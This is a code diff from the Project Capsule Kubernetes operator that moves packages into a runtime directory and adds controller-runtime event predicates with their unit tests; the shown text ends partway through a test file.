    +package handlers
    +
    +import "sigs.k8s.io/controller-runtime/pkg/client"
    +
    +type NewObjectFunc[T client.Object] func() T
    
  • pkg/runtime/handlers/webhook.go+1 1 renamed
    @@ -1,7 +1,7 @@
     // Copyright 2020-2026 Project Capsule Authors
     // SPDX-License-Identifier: Apache-2.0
     
    -package webhook
    +package handlers
     
     type Webhook interface {
     	GetPath() string
    
  • pkg/runtime/indexers/indexer.go+6 6 renamed
    @@ -1,7 +1,7 @@
     // Copyright 2020-2026 Project Capsule Authors
     // SPDX-License-Identifier: Apache-2.0
     
    -package indexer
    +package indexers
     
     import (
     	"context"
    @@ -15,11 +15,11 @@ import (
     	"sigs.k8s.io/controller-runtime/pkg/manager"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	"github.com/projectcapsule/capsule/pkg/indexer/ingress"
    -	"github.com/projectcapsule/capsule/pkg/indexer/namespace"
    -	"github.com/projectcapsule/capsule/pkg/indexer/resourcepool"
    -	"github.com/projectcapsule/capsule/pkg/indexer/tenant"
    -	"github.com/projectcapsule/capsule/pkg/indexer/tenantresource"
    +	"github.com/projectcapsule/capsule/pkg/runtime/indexers/ingress"
    +	"github.com/projectcapsule/capsule/pkg/runtime/indexers/namespace"
    +	"github.com/projectcapsule/capsule/pkg/runtime/indexers/resourcepool"
    +	"github.com/projectcapsule/capsule/pkg/runtime/indexers/tenant"
    +	"github.com/projectcapsule/capsule/pkg/runtime/indexers/tenantresource"
     	"github.com/projectcapsule/capsule/pkg/utils"
     )
     
    
  • pkg/runtime/indexers/ingress/hostname_path.go+0 0 renamed
  • pkg/runtime/indexers/ingress/utils.go+0 0 renamed
  • pkg/runtime/indexers/namespace/namespaces.go+1 1 renamed
    @@ -9,7 +9,7 @@ import (
     	corev1 "k8s.io/api/core/v1"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     
    -	"github.com/projectcapsule/capsule/pkg/utils/tenant"
    +	"github.com/projectcapsule/capsule/pkg/tenant"
     )
     
     type OwnerReference struct{}
    
  • pkg/runtime/indexers/resourcepool/claim.go+0 0 renamed
  • pkg/runtime/indexers/resourcepool/namespaces.go+0 0 renamed
  • pkg/runtime/indexers/tenant/namespaces.go+0 0 renamed
  • pkg/runtime/indexers/tenant/owner.go+1 1 renamed
    @@ -9,7 +9,7 @@ import (
     	"sigs.k8s.io/controller-runtime/pkg/client"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	"github.com/projectcapsule/capsule/pkg/utils/tenant"
    +	"github.com/projectcapsule/capsule/pkg/tenant"
     )
     
     type OwnerReference struct{}
    
  • pkg/runtime/indexers/tenantresource/constants.go+0 0 renamed
  • pkg/runtime/indexers/tenantresource/global.go+0 0 renamed
  • pkg/runtime/indexers/tenantresource/local.go+0 0 renamed
  • pkg/runtime/predicates/config_change.go+27 0 added
    @@ -0,0 +1,27 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package predicates
    +
    +import (
    +	"sigs.k8s.io/controller-runtime/pkg/event"
    +
    +	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    +)
    +
    +type CapsuleConfigSpecChangedPredicate struct{}
    +
    +func (CapsuleConfigSpecChangedPredicate) Create(event.CreateEvent) bool   { return false }
    +func (CapsuleConfigSpecChangedPredicate) Delete(event.DeleteEvent) bool   { return false }
    +func (CapsuleConfigSpecChangedPredicate) Generic(event.GenericEvent) bool { return false }
    +
    +func (CapsuleConfigSpecChangedPredicate) Update(e event.UpdateEvent) bool {
    +	oldObj, ok1 := e.ObjectOld.(*capsulev1beta2.CapsuleConfiguration)
    +	newObj, ok2 := e.ObjectNew.(*capsulev1beta2.CapsuleConfiguration)
    +
    +	if !ok1 || !ok2 {
    +		return false
    +	}
    +
    +	return len(oldObj.Spec.Administrators) != len(newObj.Spec.Administrators)
    +}
    
  • pkg/runtime/predicates/config_change_test.go+99 0 added
    @@ -0,0 +1,99 @@
    +// Copyright 2020-2025 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package predicates_test
    +
    +import (
    +	"testing"
    +
    +	"sigs.k8s.io/controller-runtime/pkg/event"
    +
    +	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    +	"github.com/projectcapsule/capsule/pkg/api"
    +	"github.com/projectcapsule/capsule/pkg/runtime/predicates"
    +)
    +
    +func TestCapsuleConfigSpecChangedPredicate_StaticFuncs(t *testing.T) {
    +	t.Parallel()
    +
    +	p := predicates.CapsuleConfigSpecChangedPredicate{}
    +
    +	if got := p.Create(event.CreateEvent{}); got {
    +		t.Fatalf("Create() = %v, want false", got)
    +	}
    +	if got := p.Delete(event.DeleteEvent{}); got {
    +		t.Fatalf("Delete() = %v, want false", got)
    +	}
    +	if got := p.Generic(event.GenericEvent{}); got {
    +		t.Fatalf("Generic() = %v, want false", got)
    +	}
    +}
    +
    +func TestCapsuleConfigSpecChangedPredicate_Update(t *testing.T) {
    +	t.Parallel()
    +
    +	p := predicates.CapsuleConfigSpecChangedPredicate{}
    +
    +	t.Run("returns false when types are not CapsuleConfiguration", func(t *testing.T) {
    +		t.Parallel()
    +
    +		ev := event.UpdateEvent{
    +			ObjectOld: &capsulev1beta2.GlobalTenantResource{},
    +			ObjectNew: &capsulev1beta2.GlobalTenantResource{},
    +		}
    +
    +		if got := p.Update(ev); got {
    +			t.Fatalf("Update() = %v, want false", got)
    +		}
    +	})
    +
    +	t.Run("returns false when administrators length unchanged", func(t *testing.T) {
    +		t.Parallel()
    +
    +		oldObj := &capsulev1beta2.CapsuleConfiguration{}
    +		newObj := &capsulev1beta2.CapsuleConfiguration{}
    +
    +		// same length (0)
    +		ev := event.UpdateEvent{ObjectOld: oldObj, ObjectNew: newObj}
    +		if got := p.Update(ev); got {
    +			t.Fatalf("Update() = %v, want false", got)
    +		}
    +
    +		// same length (2)
    +		oldObj.Spec.Administrators = []api.UserSpec{
    +			{Name: "a"},
    +			{Name: "b"},
    +		}
    +
    +		newObj.Spec.Administrators = []api.UserSpec{
    +			{Name: "x"},
    +			{Name: "y"},
    +		}
    +
    +		ev = event.UpdateEvent{ObjectOld: oldObj, ObjectNew: newObj}
    +		if got := p.Update(ev); got {
    +			t.Fatalf("Update() = %v, want false", got)
    +		}
    +	})
    +
    +	t.Run("returns true when administrators length changed", func(t *testing.T) {
    +		t.Parallel()
    +
    +		oldObj := &capsulev1beta2.CapsuleConfiguration{}
    +		newObj := &capsulev1beta2.CapsuleConfiguration{}
    +
    +		oldObj.Spec.Administrators = []api.UserSpec{
    +			{Name: "a"},
    +		}
    +
    +		newObj.Spec.Administrators = []api.UserSpec{
    +			{Name: "a"},
    +			{Name: "b"},
    +		}
    +
    +		ev := event.UpdateEvent{ObjectOld: oldObj, ObjectNew: newObj}
    +		if got := p.Update(ev); !got {
    +			t.Fatalf("Update() = %v, want true", got)
    +		}
    +	})
    +}
    
  • pkg/runtime/predicates/labels_matching.go+57 0 added
    @@ -0,0 +1,57 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package predicates
    +
    +import (
    +	"sigs.k8s.io/controller-runtime/pkg/builder"
    +	"sigs.k8s.io/controller-runtime/pkg/client"
    +	"sigs.k8s.io/controller-runtime/pkg/event"
    +)
    +
    +type LabelsMatchingPredicate struct {
    +	Match map[string]string
    +}
    +
    +func (p LabelsMatchingPredicate) Create(e event.CreateEvent) bool {
    +	return p.matches(e.Object)
    +}
    +
    +func (p LabelsMatchingPredicate) Delete(e event.DeleteEvent) bool {
    +	return p.matches(e.Object)
    +}
    +
    +func (p LabelsMatchingPredicate) Generic(e event.GenericEvent) bool {
    +	return p.matches(e.Object)
    +}
    +
    +func (p LabelsMatchingPredicate) Update(e event.UpdateEvent) bool {
    +	return p.matches(e.ObjectNew)
    +}
    +
    +func (p LabelsMatchingPredicate) matches(obj client.Object) bool {
    +	if obj == nil {
    +		return false
    +	}
    +
    +	if len(p.Match) == 0 {
    +		return true
    +	}
    +
    +	labels := obj.GetLabels()
    +	if labels == nil {
    +		return false
    +	}
    +
    +	for k, v := range p.Match {
    +		if labels[k] != v {
    +			return false
    +		}
    +	}
    +
    +	return true
    +}
    +
    +func LabelsMatching(match map[string]string) builder.Predicates {
    +	return builder.WithPredicates(LabelsMatchingPredicate{Match: match})
    +}
    
  • pkg/runtime/predicates/labels_matching_test.go+88 0 added
    @@ -0,0 +1,88 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package predicates_test
    +
    +import (
    +	"testing"
    +
    +	"k8s.io/apimachinery/pkg/apis/meta/v1/unstructured"
    +	"sigs.k8s.io/controller-runtime/pkg/event"
    +
    +	"github.com/projectcapsule/capsule/pkg/runtime/predicates"
    +)
    +
    +func TestLabelsMatchingPredicate_Matches(t *testing.T) {
    +	t.Parallel()
    +
    +	mk := func(lbl map[string]string) *unstructured.Unstructured {
    +		u := &unstructured.Unstructured{}
    +		u.SetAPIVersion("v1")
    +		u.SetKind("ConfigMap")
    +		u.SetName("cm")
    +		u.SetNamespace("ns")
    +		u.SetLabels(lbl)
    +		return u
    +	}
    +
    +	t.Run("empty match map matches everything (including nil labels)", func(t *testing.T) {
    +		t.Parallel()
    +
    +		p := predicates.LabelsMatchingPredicate{Match: map[string]string{}}
    +
    +		if !p.Create(event.CreateEvent{Object: mk(nil)}) {
    +			t.Fatalf("Create should match when Match is empty")
    +		}
    +		if !p.Update(event.UpdateEvent{ObjectNew: mk(nil)}) {
    +			t.Fatalf("Update should match when Match is empty")
    +		}
    +		if !p.Delete(event.DeleteEvent{Object: mk(nil)}) {
    +			t.Fatalf("Delete should match when Match is empty")
    +		}
    +		if !p.Generic(event.GenericEvent{Object: mk(nil)}) {
    +			t.Fatalf("Generic should match when Match is empty")
    +		}
    +	})
    +
    +	t.Run("non-empty match requires all key/value pairs", func(t *testing.T) {
    +		t.Parallel()
    +
    +		p := predicates.LabelsMatchingPredicate{Match: map[string]string{"app": "x", "tier": "backend"}}
    +
    +		// Missing labels
    +		if p.Create(event.CreateEvent{Object: mk(nil)}) {
    +			t.Fatalf("expected no match when labels are nil")
    +		}
    +
    +		// Partial match
    +		if p.Create(event.CreateEvent{Object: mk(map[string]string{"app": "x"})}) {
    +			t.Fatalf("expected no match when one label missing")
    +		}
    +
    +		// Wrong value
    +		if p.Create(event.CreateEvent{Object: mk(map[string]string{"app": "x", "tier": "frontend"})}) {
    +			t.Fatalf("expected no match when value differs")
    +		}
    +
    +		// Full match
    +		if !p.Create(event.CreateEvent{Object: mk(map[string]string{"app": "x", "tier": "backend"})}) {
    +			t.Fatalf("expected match when all labels match")
    +		}
    +	})
    +
    +	t.Run("Update checks new object only", func(t *testing.T) {
    +		t.Parallel()
    +
    +		p := predicates.LabelsMatchingPredicate{Match: map[string]string{"app": "x"}}
    +
    +		// Old matches, new doesn't => false
    +		if p.Update(event.UpdateEvent{ObjectOld: mk(map[string]string{"app": "x"}), ObjectNew: mk(map[string]string{"app": "y"})}) {
    +			t.Fatalf("expected false when new object does not match")
    +		}
    +
    +		// Old doesn't match, new matches => true
    +		if !p.Update(event.UpdateEvent{ObjectOld: mk(map[string]string{"app": "y"}), ObjectNew: mk(map[string]string{"app": "x"})}) {
    +			t.Fatalf("expected true when new object matches")
    +		}
    +	})
    +}
    
  • pkg/runtime/predicates/name_matching.go+33 0 added
    @@ -0,0 +1,33 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package predicates
    +
    +import (
    +	"slices"
    +
    +	"sigs.k8s.io/controller-runtime/pkg/builder"
    +	"sigs.k8s.io/controller-runtime/pkg/client"
    +	"sigs.k8s.io/controller-runtime/pkg/event"
    +)
    +
    +type NamesMatchingPredicate struct {
    +	Names []string
    +}
    +
    +func (p NamesMatchingPredicate) Create(e event.CreateEvent) bool   { return p.matches(e.Object) }
    +func (p NamesMatchingPredicate) Delete(e event.DeleteEvent) bool   { return p.matches(e.Object) }
    +func (p NamesMatchingPredicate) Generic(e event.GenericEvent) bool { return p.matches(e.Object) }
    +func (p NamesMatchingPredicate) Update(e event.UpdateEvent) bool   { return p.matches(e.ObjectNew) }
    +
    +func (p NamesMatchingPredicate) matches(obj client.Object) bool {
    +	if obj == nil {
    +		return false
    +	}
    +
    +	return slices.Contains(p.Names, obj.GetName())
    +}
    +
    +func NamesMatching(names ...string) builder.Predicates {
    +	return builder.WithPredicates(NamesMatchingPredicate{Names: names})
    +}
    
  • pkg/runtime/predicates/name_matching_test.go+67 0 added
    @@ -0,0 +1,67 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package predicates_test
    +
    +import (
    +	"testing"
    +
    +	"k8s.io/apimachinery/pkg/apis/meta/v1/unstructured"
    +	"sigs.k8s.io/controller-runtime/pkg/event"
    +
    +	"github.com/projectcapsule/capsule/pkg/runtime/predicates"
    +)
    +
    +func TestNamesMatchingPredicate_Matches(t *testing.T) {
    +	t.Parallel()
    +
    +	mk := func(name string) *unstructured.Unstructured {
    +		u := &unstructured.Unstructured{}
    +		u.SetAPIVersion("v1")
    +		u.SetKind("ConfigMap")
    +		u.SetName(name)
    +		u.SetNamespace("ns")
    +		return u
    +	}
    +
    +	p := predicates.NamesMatchingPredicate{Names: []string{"a", "b"}}
    +
    +	t.Run("Create/Delete/Generic match by name", func(t *testing.T) {
    +		t.Parallel()
    +
    +		if !p.Create(event.CreateEvent{Object: mk("a")}) {
    +			t.Fatalf("expected Create match for name a")
    +		}
    +		if p.Create(event.CreateEvent{Object: mk("c")}) {
    +			t.Fatalf("expected no Create match for name c")
    +		}
    +
    +		if !p.Delete(event.DeleteEvent{Object: mk("b")}) {
    +			t.Fatalf("expected Delete match for name b")
    +		}
    +		if p.Delete(event.DeleteEvent{Object: mk("c")}) {
    +			t.Fatalf("expected no Delete match for name c")
    +		}
    +
    +		if !p.Generic(event.GenericEvent{Object: mk("a")}) {
    +			t.Fatalf("expected Generic match for name a")
    +		}
    +		if p.Generic(event.GenericEvent{Object: mk("c")}) {
    +			t.Fatalf("expected no Generic match for name c")
    +		}
    +	})
    +
    +	t.Run("Update checks new object only", func(t *testing.T) {
    +		t.Parallel()
    +
    +		// Old matches, new doesn't => false
    +		if p.Update(event.UpdateEvent{ObjectOld: mk("a"), ObjectNew: mk("c")}) {
    +			t.Fatalf("expected false when new name does not match")
    +		}
    +
    +		// Old doesn't match, new matches => true
    +		if !p.Update(event.UpdateEvent{ObjectOld: mk("c"), ObjectNew: mk("b")}) {
    +			t.Fatalf("expected true when new name matches")
    +		}
    +	})
    +}
    
  • pkg/runtime/predicates/promoted_serviceaccount.go+45 0 added
    @@ -0,0 +1,45 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package predicates
    +
    +import (
    +	"sigs.k8s.io/controller-runtime/pkg/event"
    +
    +	"github.com/projectcapsule/capsule/pkg/api/meta"
    +)
    +
    +type PromotedServiceaccountPredicate struct{}
    +
    +func (PromotedServiceaccountPredicate) Generic(event.GenericEvent) bool { return false }
    +
    +func (PromotedServiceaccountPredicate) Create(e event.CreateEvent) bool {
    +	if e.Object == nil {
    +		return false
    +	}
    +
    +	v, ok := e.Object.GetLabels()[meta.OwnerPromotionLabel]
    +
    +	return ok && v == meta.OwnerPromotionLabelTrigger
    +}
    +
    +func (PromotedServiceaccountPredicate) Delete(e event.DeleteEvent) bool {
    +	if e.Object == nil {
    +		return false
    +	}
    +
    +	v, ok := e.Object.GetLabels()[meta.OwnerPromotionLabel]
    +
    +	return ok && v == meta.OwnerPromotionLabelTrigger
    +}
    +
    +func (PromotedServiceaccountPredicate) Update(e event.UpdateEvent) bool {
    +	if e.ObjectOld == nil || e.ObjectNew == nil {
    +		return false
    +	}
    +
    +	oldVal, oldOK := e.ObjectOld.GetLabels()[meta.OwnerPromotionLabel]
    +	newVal, newOK := e.ObjectNew.GetLabels()[meta.OwnerPromotionLabel]
    +
    +	return oldOK != newOK || oldVal != newVal
    +}
    
  • pkg/runtime/predicates/promoted_serviceaccount_test.go+117 0 added
    @@ -0,0 +1,117 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package predicates_test
    +
    +import (
    +	"testing"
    +
    +	"k8s.io/apimachinery/pkg/apis/meta/v1/unstructured"
    +	"sigs.k8s.io/controller-runtime/pkg/event"
    +
    +	"github.com/projectcapsule/capsule/pkg/api/meta"
    +	"github.com/projectcapsule/capsule/pkg/runtime/predicates"
    +)
    +
    +func TestPromotedServiceaccountPredicate_StaticFuncs(t *testing.T) {
    +	t.Parallel()
    +
    +	p := predicates.PromotedServiceaccountPredicate{}
    +
    +	if got := p.Generic(event.GenericEvent{}); got {
    +		t.Fatalf("Generic() = %v, want false", got)
    +	}
    +}
    +
    +func TestPromotedServiceaccountPredicate_CreateDelete(t *testing.T) {
    +	t.Parallel()
    +
    +	p := predicates.PromotedServiceaccountPredicate{}
    +
    +	mk := func(lbl map[string]string) *unstructured.Unstructured {
    +		u := &unstructured.Unstructured{}
    +		u.SetAPIVersion("v1")
    +		u.SetKind("ServiceAccount")
    +		u.SetName("sa")
    +		u.SetNamespace("ns")
    +		u.SetLabels(lbl)
    +		return u
    +	}
    +
    +	t.Run("Create returns true only when trigger label present and equals trigger value", func(t *testing.T) {
    +		t.Parallel()
    +
    +		if got := p.Create(event.CreateEvent{Object: mk(nil)}); got {
    +			t.Fatalf("Create() = %v, want false (no labels)", got)
    +		}
    +
    +		if got := p.Create(event.CreateEvent{Object: mk(map[string]string{meta.OwnerPromotionLabel: "nope"})}); got {
    +			t.Fatalf("Create() = %v, want false (wrong value)", got)
    +		}
    +
    +		if got := p.Create(event.CreateEvent{Object: mk(map[string]string{meta.OwnerPromotionLabel: meta.OwnerPromotionLabelTrigger})}); !got {
    +			t.Fatalf("Create() = %v, want true (trigger)", got)
    +		}
    +	})
    +
    +	t.Run("Delete returns true only when trigger label present and equals trigger value", func(t *testing.T) {
    +		t.Parallel()
    +
    +		if got := p.Delete(event.DeleteEvent{Object: mk(nil)}); got {
    +			t.Fatalf("Delete() = %v, want false (no labels)", got)
    +		}
    +
    +		if got := p.Delete(event.DeleteEvent{Object: mk(map[string]string{meta.OwnerPromotionLabel: "nope"})}); got {
    +			t.Fatalf("Delete() = %v, want false (wrong value)", got)
    +		}
    +
    +		if got := p.Delete(event.DeleteEvent{Object: mk(map[string]string{meta.OwnerPromotionLabel: meta.OwnerPromotionLabelTrigger})}); !got {
    +			t.Fatalf("Delete() = %v, want true (trigger)", got)
    +		}
    +	})
    +}
    +
    +func TestPromotedServiceaccountPredicate_Update(t *testing.T) {
    +	t.Parallel()
    +
    +	p := predicates.PromotedServiceaccountPredicate{}
    +
    +	mk := func(lbl map[string]string) *unstructured.Unstructured {
    +		u := &unstructured.Unstructured{}
    +		u.SetAPIVersion("v1")
    +		u.SetKind("ServiceAccount")
    +		u.SetName("sa")
    +		u.SetNamespace("ns")
    +		u.SetLabels(lbl)
    +		return u
    +	}
    +
    +	tests := []struct {
    +		name string
    +		old  map[string]string
    +		new  map[string]string
    +		want bool
    +	}{
    +		{"no label in either", nil, nil, false},
    +		{"label added", nil, map[string]string{meta.OwnerPromotionLabel: meta.OwnerPromotionLabelTrigger}, true},
    +		{"label removed", map[string]string{meta.OwnerPromotionLabel: meta.OwnerPromotionLabelTrigger}, nil, true},
    +		{"label value changed", map[string]string{meta.OwnerPromotionLabel: "a"}, map[string]string{meta.OwnerPromotionLabel: "b"}, true},
    +		{"label unchanged", map[string]string{meta.OwnerPromotionLabel: "a"}, map[string]string{meta.OwnerPromotionLabel: "a"}, false},
    +	}
    +
    +	for _, tt := range tests {
    +		tt := tt
    +		t.Run(tt.name, func(t *testing.T) {
    +			t.Parallel()
    +
    +			ev := event.UpdateEvent{
    +				ObjectOld: mk(tt.old),
    +				ObjectNew: mk(tt.new),
    +			}
    +
    +			if got := p.Update(ev); got != tt.want {
    +				t.Fatalf("Update() = %v, want %v", got, tt.want)
    +			}
    +		})
    +	}
    +}
    
  • pkg/runtime/predicates/reconcile_requested.go+38 0 added
    @@ -0,0 +1,38 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package predicates
    +
    +import (
    +	"sigs.k8s.io/controller-runtime/pkg/event"
    +
    +	"github.com/projectcapsule/capsule/pkg/api/meta"
    +)
    +
    +// Only Trigger a Reconcile when the requested annotation has changed value or was added.
    +type ReconcileRequestedPredicate struct{}
    +
    +func (ReconcileRequestedPredicate) Create(e event.CreateEvent) bool   { return false }
    +func (ReconcileRequestedPredicate) Delete(e event.DeleteEvent) bool   { return false }
    +func (ReconcileRequestedPredicate) Generic(e event.GenericEvent) bool { return false }
    +
    +func (ReconcileRequestedPredicate) Update(e event.UpdateEvent) bool {
    +	if e.ObjectOld == nil || e.ObjectNew == nil {
    +		return false
    +	}
    +
    +	oldA := e.ObjectOld.GetAnnotations()
    +	newA := e.ObjectNew.GetAnnotations()
    +
    +	oldV := ""
    +	if oldA != nil {
    +		oldV = oldA[meta.ReconcileAnnotation]
    +	}
    +
    +	newV := ""
    +	if newA != nil {
    +		newV = newA[meta.ReconcileAnnotation]
    +	}
    +
    +	return newV != "" && newV != oldV
    +}
    
  • pkg/runtime/predicates/reconcile_requested_test.go+123 0 added
    @@ -0,0 +1,123 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package predicates_test
    +
    +import (
    +	"testing"
    +
    +	"k8s.io/apimachinery/pkg/apis/meta/v1/unstructured"
    +	"sigs.k8s.io/controller-runtime/pkg/client"
    +	"sigs.k8s.io/controller-runtime/pkg/event"
    +
    +	"github.com/projectcapsule/capsule/pkg/api/meta"
    +	"github.com/projectcapsule/capsule/pkg/runtime/predicates"
    +)
    +
    +func TestReconcileRequestedPredicate_StaticFuncs(t *testing.T) {
    +	t.Parallel()
    +
    +	p := predicates.ReconcileRequestedPredicate{}
    +
    +	if got := p.Create(event.CreateEvent{}); got {
    +		t.Fatalf("Create() = %v, want false", got)
    +	}
    +	if got := p.Delete(event.DeleteEvent{}); got {
    +		t.Fatalf("Delete() = %v, want false", got)
    +	}
    +	if got := p.Generic(event.GenericEvent{}); got {
    +		t.Fatalf("Generic() = %v, want false", got)
    +	}
    +}
    +
    +func TestReconcileRequestedPredicate_Update(t *testing.T) {
    +	t.Parallel()
    +
    +	p := predicates.ReconcileRequestedPredicate{}
    +
    +	mkObj := func(ann map[string]string) *unstructured.Unstructured {
    +		u := &unstructured.Unstructured{}
    +		u.SetAPIVersion("capsule.clastix.io/v1beta2")
    +		u.SetKind("GlobalTenantResource")
    +		u.SetName("x")
    +
    +		// Important: nil vs empty map both behave the same for lookups,
    +		// but we keep this as-is to match real objects.
    +		u.SetAnnotations(ann)
    +
    +		return u
    +	}
    +
    +	type tc struct {
    +		name string
    +		old  map[string]string
    +		new  map[string]string
    +		want bool
    +	}
    +
    +	tests := []tc{
    +		{
    +			name: "annotation added triggers true",
    +			old:  map[string]string{},
    +			new:  map[string]string{meta.ReconcileAnnotation: "2026-01-13T06:23:14.333872+01:00"},
    +			want: true,
    +		},
    +		{
    +			name: "annotation value changed triggers true",
    +			old:  map[string]string{meta.ReconcileAnnotation: "2026-01-13T06:23:14.333872+01:00"},
    +			new:  map[string]string{meta.ReconcileAnnotation: "2026-01-13T06:24:14.111111+01:00"},
    +			want: true,
    +		},
    +		{
    +			name: "annotation unchanged does not trigger",
    +			old:  map[string]string{meta.ReconcileAnnotation: "2026-01-13T06:23:14.333872+01:00"},
    +			new:  map[string]string{meta.ReconcileAnnotation: "2026-01-13T06:23:14.333872+01:00"},
    +			want: false,
    +		},
    +		{
    +			name: "annotation removed does not trigger",
    +			old:  map[string]string{meta.ReconcileAnnotation: "2026-01-13T06:23:14.333872+01:00"},
    +			new:  map[string]string{}, // removed
    +			want: false,
    +		},
    +		{
    +			name: "annotation absent in both does not trigger",
    +			old:  map[string]string{},
    +			new:  map[string]string{},
    +			want: false,
    +		},
    +		{
    +			name: "annotation set to empty string does not trigger",
    +			old:  map[string]string{},
    +			new:  map[string]string{meta.ReconcileAnnotation: ""},
    +			want: false,
    +		},
    +		{
    +			name: "annotation changed to empty string (effectively removed) does not trigger",
    +			old:  map[string]string{meta.ReconcileAnnotation: "2026-01-13T06:23:14.333872+01:00"},
    +			new:  map[string]string{meta.ReconcileAnnotation: ""},
    +			want: false,
    +		},
    +	}
    +
    +	for _, tt := range tests {
    +		tt := tt
    +		t.Run(tt.name, func(t *testing.T) {
    +			t.Parallel()
    +
    +			var oldObj, newObj *unstructured.Unstructured
    +			oldObj = mkObj(tt.old)
    +			newObj = mkObj(tt.new)
    +
    +			ev := event.UpdateEvent{
    +				ObjectOld: client.Object(oldObj),
    +				ObjectNew: client.Object(newObj),
    +			}
    +
    +			got := p.Update(ev)
    +			if got != tt.want {
    +				t.Fatalf("Update() = %v, want %v (old=%v new=%v)", got, tt.want, tt.old, tt.new)
    +			}
    +		})
    +	}
    +}
    
  • pkg/runtime/predicates/updated_labels.go+20 0 added
    @@ -0,0 +1,20 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package predicates
    +
    +import "sigs.k8s.io/controller-runtime/pkg/event"
    +
    +type UpdatedLabelsPredicate struct{}
    +
    +func (UpdatedLabelsPredicate) Create(event.CreateEvent) bool   { return true }
    +func (UpdatedLabelsPredicate) Delete(event.DeleteEvent) bool   { return true }
    +func (UpdatedLabelsPredicate) Generic(event.GenericEvent) bool { return false }
    +
    +func (UpdatedLabelsPredicate) Update(e event.UpdateEvent) bool {
    +	if e.ObjectOld == nil || e.ObjectNew == nil {
    +		return false
    +	}
    +
    +	return !LabelsEqual(e.ObjectOld.GetLabels(), e.ObjectNew.GetLabels())
    +}
    
  • pkg/runtime/predicates/updated_labels_test.go+72 0 added
    @@ -0,0 +1,72 @@
    +// Copyright 2020-2025 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package predicates_test
    +
    +import (
    +	"testing"
    +
    +	"k8s.io/apimachinery/pkg/apis/meta/v1/unstructured"
    +	"sigs.k8s.io/controller-runtime/pkg/event"
    +
    +	"github.com/projectcapsule/capsule/pkg/runtime/predicates"
    +)
    +
    +func TestUpdatedMetadataPredicate_StaticFuncs(t *testing.T) {
    +	t.Parallel()
    +
    +	p := predicates.UpdatedLabelsPredicate{}
    +
    +	if got := p.Generic(event.GenericEvent{}); got {
    +		t.Fatalf("Generic() = %v, want false", got)
    +	}
    +	if got := p.Create(event.CreateEvent{}); !got {
    +		t.Fatalf("Create() = %v, want true", got)
    +	}
    +	if got := p.Delete(event.DeleteEvent{}); !got {
    +		t.Fatalf("Delete() = %v, want true", got)
    +	}
    +}
    +
    +func TestUpdatedMetadataPredicate_Update(t *testing.T) {
    +	t.Parallel()
    +
    +	p := predicates.UpdatedLabelsPredicate{}
    +
    +	mk := func(lbl map[string]string) *unstructured.Unstructured {
    +		u := &unstructured.Unstructured{}
    +		u.SetAPIVersion("v1")
    +		u.SetKind("ConfigMap")
    +		u.SetName("cm")
    +		u.SetNamespace("ns")
    +		u.SetLabels(lbl)
    +		return u
    +	}
    +
    +	tests := []struct {
    +		name string
    +		old  map[string]string
    +		new  map[string]string
    +		want bool
    +	}{
    +		{"both nil", nil, nil, false},
    +		{"nil to empty", nil, map[string]string{}, false},
    +		{"same labels", map[string]string{"a": "1"}, map[string]string{"a": "1"}, false},
    +		{"label added", nil, map[string]string{"a": "1"}, true},
    +		{"label removed", map[string]string{"a": "1"}, nil, true},
    +		{"label value changed", map[string]string{"a": "1"}, map[string]string{"a": "2"}, true},
    +		{"label key changed", map[string]string{"a": "1"}, map[string]string{"b": "1"}, true},
    +	}
    +
    +	for _, tt := range tests {
    +		tt := tt
    +		t.Run(tt.name, func(t *testing.T) {
    +			t.Parallel()
    +
    +			ev := event.UpdateEvent{ObjectOld: mk(tt.old), ObjectNew: mk(tt.new)}
    +			if got := p.Update(ev); got != tt.want {
    +				t.Fatalf("Update() = %v, want %v", got, tt.want)
    +			}
    +		})
    +	}
    +}
    
  • pkg/runtime/predicates/utils.go+31 0 added
    @@ -0,0 +1,31 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package predicates
    +
    +func LabelsEqual(a, b map[string]string) bool {
    +	if len(a) != len(b) {
    +		return false
    +	}
    +
    +	for k, v := range a {
    +		if bv, ok := b[k]; !ok || bv != v {
    +			return false
    +		}
    +	}
    +
    +	return true
    +}
    +
    +func LabelsChanged(keys []string, oldLabels, newLabels map[string]string) bool {
    +	for _, key := range keys {
    +		oldVal, oldOK := oldLabels[key]
    +		newVal, newOK := newLabels[key]
    +
    +		if oldOK != newOK || oldVal != newVal {
    +			return true
    +		}
    +	}
    +
    +	return false
    +}
    
  • pkg/runtime/predicates/utils_test.go+210 0 added
    @@ -0,0 +1,210 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package predicates_test
    +
    +import (
    +	"testing"
    +
    +	"github.com/projectcapsule/capsule/pkg/runtime/predicates"
    +)
    +
    +func TestLabelsEqual(t *testing.T) {
    +	t.Parallel()
    +
    +	type tc struct {
    +		name string
    +		a    map[string]string
    +		b    map[string]string
    +		want bool
    +	}
    +
    +	tests := []tc{
    +		{
    +			name: "both nil => equal",
    +			a:    nil,
    +			b:    nil,
    +			want: true,
    +		},
